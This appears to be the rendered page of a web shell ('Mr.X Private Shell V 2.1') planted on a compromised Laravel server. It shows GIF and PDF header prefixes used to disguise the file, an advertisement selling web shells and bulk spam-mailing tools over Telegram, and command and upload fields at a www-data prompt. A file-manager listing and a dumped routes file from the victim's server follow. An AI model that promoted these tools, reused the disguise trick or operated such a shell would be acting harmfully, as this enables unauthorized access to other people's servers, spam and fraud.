GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
<?php

declare(strict_types=1);

use App\Http\Controllers\Api\V1\ProjectController;
use App\Http\Controllers\Api\V1\ProjectGroupController;
use Illuminate\Support\Facades\Route;


Route::group(['prefix' => '/v1/project', 'middleware' => 'auth:sanctum'], function (): void {
    Route::post('import', [ProjectController::class, 'import']);
    Route::get('{modelID}/list', [ProjectController::class, 'index']);
    Route::get('{modelID}/list-except-delete', [ProjectController::class, 'listExceptDelete']);
    Route::post('{modelID}/add-article', [ProjectController::class, 'addArticleToProject']);
    Route::post('{modelID}/payments/export', [ProjectController::class, 'excelExport']);
    Route::get('{modelID}/with-payments', [ProjectController::class, 'projectsWithPayments']);
    Route::get('{modelID}/grouped-list', [ProjectController::class, 'groupedList']);
    Route::get('{modelID}/{projectID}', [ProjectController::class, 'show']);
    Route::get('{modelID}/{projectID}/payments', [ProjectController::class, 'payments']);
    Route::post('{modelID}/create', [ProjectController::class, 'store']);
    Route::patch('{modelID}/{projectID}/update-limits', [ProjectController::class, 'updateLimitsProject']);
    Route::patch('{modelID}/{projectID}/update-payment-article', [ProjectController::class, 'updatePaymentArticle']);
    Route::delete('{modelID}/{projectID}/delete-payment-article', [ProjectController::class, 'deletePaymentArticle']);
    Route::post('{modelID}/{projectID}/update', [ProjectController::class, 'update']);
    Route::delete('{modelID}/{projectID}', [ProjectController::class, 'destroy']);
});
Route::group(['prefix' => '/v1/project-group', 'middleware' => 'auth:sanctum'], function (): void {
    Route::group(['prefix' => '/payments-by-article', 'middleware' => 'auth:sanctum'], function (): void {
        Route::get('{modelID}/{groupID}', [ProjectGroupController::class, 'getGroupedByArticle']);
    });
    Route::get('{modelID}/list', [ProjectGroupController::class, 'index']);
    Route::get('{modelID}/{groupID}', [ProjectGroupController::class, 'show']);
    Route::post('{modelID}/create', [ProjectGroupController::class, 'store']);
    Route::post('{modelID}/{id}/update', [ProjectGroupController::class, 'update']);
    Route::delete('{modelID}/{groupID}', [ProjectGroupController::class, 'destroy']);
});

Filemanager

Name Type Size Permission Actions
endpoints Folder 0755
endpoints.cache Folder 0755
ArticleToGroup.php File 464 B 0644
HTMLPurifier.composer.php File 101 B 0644
OpenApiValidationErrorResponse.php File 726 B 0644
PaymentDistribution.php File 1.13 KB 0644
ResponseDto.php File 1.15 KB 0644
SerializerInterface.php File 1.87 KB 0644
api-20260128134209.php File 0 B 0644
api.php File 0 B 0644
auth.php File 3.93 KB 0644
debugbar.php File 0 B 0644
default.conf File 0 B 0644
index.html File 0 B 0644
phpunit-20260128103931.xml File 0 B 0644
projects.php File 2.3 KB 0644
services.php File 0 B 0644